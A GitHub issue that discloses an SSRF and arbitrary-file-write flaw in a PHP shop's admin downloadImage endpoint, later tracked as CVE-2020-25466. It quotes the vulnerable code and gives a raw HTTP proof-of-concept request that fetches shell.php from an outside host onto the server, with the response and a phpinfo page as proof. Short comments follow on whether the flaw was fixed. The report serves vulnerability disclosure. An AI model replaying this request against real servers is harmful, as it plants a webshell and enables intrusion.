

New issue

Jump to bottom

An SSRF vulnerability leads to system access #22

Closed

ViktorWlxStar opened this issue on Sep 7, 2020 · 6 comments

ViktorWlxStar commented on Sep 7, 2020

By looking at the source code, we found a SSRF vulnerability that could read arbitrary files on a remote or local server and save them to a web server. Therefore, malicious users can download the malicious Trojan files to the web server to obtain the permissions of the web server.

analysis:

```
public function downloadImage($url = '', $name = '', $type = 0, $timeout = 30, $w = 0, $h = 0) { if (!strlen(trim($url))) return ''; if (!strlen(trim($name))) { //TODO 获取要下载的文件名称 $downloadImageInfo = $this->getImageExtname($url); if (!$this->checkExtname($url, $downloadImageInfo['ext_name'])) { return jsonService::fail('文件后缀不合法'); } $name = $downloadImageInfo['file_name']; if (!strlen(trim($name))) return ''; }
```

The above code is to get the name of the file to download

```
//TODO 获取远程文件所采用的方法 if ($type) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //TODO 跳过证书检查 if (strpos($url, "https://") !== FALSE) curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); //TODO 从证书中检查SSL加密算法是否存在 curl_setopt($ch, CURLOPT_HTTPHEADER, array('user-agent:' . $_SERVER['HTTP_USER_AGENT'])); if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //TODO 是否采集301、302之后的页面 $content = curl_exec($ch); curl_close($ch); } else { try { ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean(); } catch (\Exception $e) { return $e->getMessage(); } }
```

Since the default value of the \$type parameter is 0, it will skip the if judgment directly and jump to the else judgment. The readfile method reads the value of the \$url parameter and writes it to the output buffer. \$content gets the content of the output buffer through the ob_get_contents() method.

```
$size = strlen(trim($content)); if (!$content || $size <= 2) return '图片流获取失败'; $date_dir = date('Y') . DS . date('m') . DS . date('d'); $upload_type = sys_config('upload_type', 1); $upload = new Upload((int)$upload_type, [ 'accessKey' => sys_config('accessKey'), 'secretKey' => sys_config('secretKey'), 'uploadUrl' => sys_config('uploadUrl'), 'storageName' => sys_config('storage_name'), 'storageRegion' => sys_config('storage_region'), ]); $info = $upload->to('attach/' . $date_dir->validate()->stream($content, $name); if ($info === false) { return $upload->getError(); } $imageInfo = $upload->getUploadInfo(); $date['path'] = str_replace('\\', '/', $imageInfo['dir']); $date['name'] = $imageInfo['name']; $date['size'] = $imageInfo['size']; $date['mime'] = $imageInfo['type']; $date['image_type'] = $upload_type; $date['is_exists'] = false; return $date; }
```

The rest of the code is to write the contents of the read file to the web server.

Recurrence of loopholes:

1、http://localhost/admin/store_copy.taobao/downloadImage

poc:

POST http://localhost/admin/store_copy.taobao/downloadImage HTTP/1.1

Host: localhost

Content-Length: 77

Accept: application/json, text/javascript, /; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Origin: <http://localhost>

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost/admin/store_copy.taobao/index.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: clear_0.0.1=1; PHPSESSID=fa722bf27161fc456f38e1f47750105; mapKey=%22%22; login_back_url=%22/cart%22

Connection: close

url=http://x.x.x.shell.php&name=shell.php`

Request

Raw Params Headers Hex

1 POST http://localhost/admin/store._copy_taobao/downloadImage HTTP/1.1

2 Host: localhost

3 Content-Length: 55

4 Accept: application/json, text/javascript, */*; q=0.01

5 X-Requested-With: XMLHttpRequest

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Content-Type: application/x-www-form-urlencoded

8 Origin: http://localhost

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: cors

11 Sec-Fetch-Dest: empty

12 Referer: http://localhost/admin/store._copy_taobao/index.html

13 Accept-Encoding: gzip, deflate

14 Accept-Language: zh-CN,zh;q=0.9

15 Cookie: c1ear.0.0.1=1; PHPSESSID=fa722bf27161cf456f38e1f47750105; mapKey=%22%22; login_back_url=%22/cart%22

16 Connection: close

17

18 url=http://localhost/uploads/attach/2020/09/07/shell.php

Response

Raw Headers Hex

1 HTTP/1.1 200 OK

2 Connection: close

3 Content-Type: application/json; charset=utf-8

4 Date: Mon, 07 Sep 2020 08:11:58 GMT

5 Server: nginx/1.15.11

6 Set-Cookie: PHPSESSID=fa722bf27161cf456f38e1f47750105; path=/

7 X-Powered-By: PHP/7.3.4

8 Content-Length: 137

9

10 {

11 "path": "/uploads/attach/2020/09/07/shell.php",

12 "name": "shell.php",

13 "size": 0,

14 "mime": "image/jpeg",


15 "image_type": "1",

16 "is_exists": false

17 }


localhost/uploads/attach/2020/09/07/shell.php

PHP Version 7.3.4



System	Windows NT WIN-5EUTEPCOUT5 10.0 build 18363 (Windows 10) AMD64
Build Date	Apr 2 2019 21:50:57
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	script /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk\shared" "--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk\shared" "--enable-object-out-dir=.\obj/" "--enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731
Zend Extension	320180731
Zend Extension Build	API320180731.NTS,VC15
PHP Extension Build	API20180731.NTS,VC15
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	php, file, glob, data, http, ftp, zip, compress.zlib, https, ftps, phar
Registered Stream Socket Transports	tcp, udp, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, zlib.*

This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.3.4, Copyright (c) 1998-2018 Zend Technologies



NicoleG25 commented on Dec 1, 2020

@FeiLiao-9
你好
这个问题曾经解决过吗？
请注意，该漏洞已分配给 [CVE-2020-25466](#)
提前致谢

ViktorWkxStar commented on Dec 1, 2020

Author

已解决

NicoleG25 commented on Dec 1, 2020

@ViktorWkxStar
你能指出我的解决办法吗？

ViktorWkxStar commented on Dec 1, 2020

Author

更新了新的版本取消了那个远程下载的功能

NicoleG25 commented on Dec 1, 2020


你有 commit ？

提前致谢！
@ViktorWlxStar

ViktorWlxStar commented on Dec 1, 2020

Author

no

 evoxwht closed this as completed on Mar 23

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

3 participants

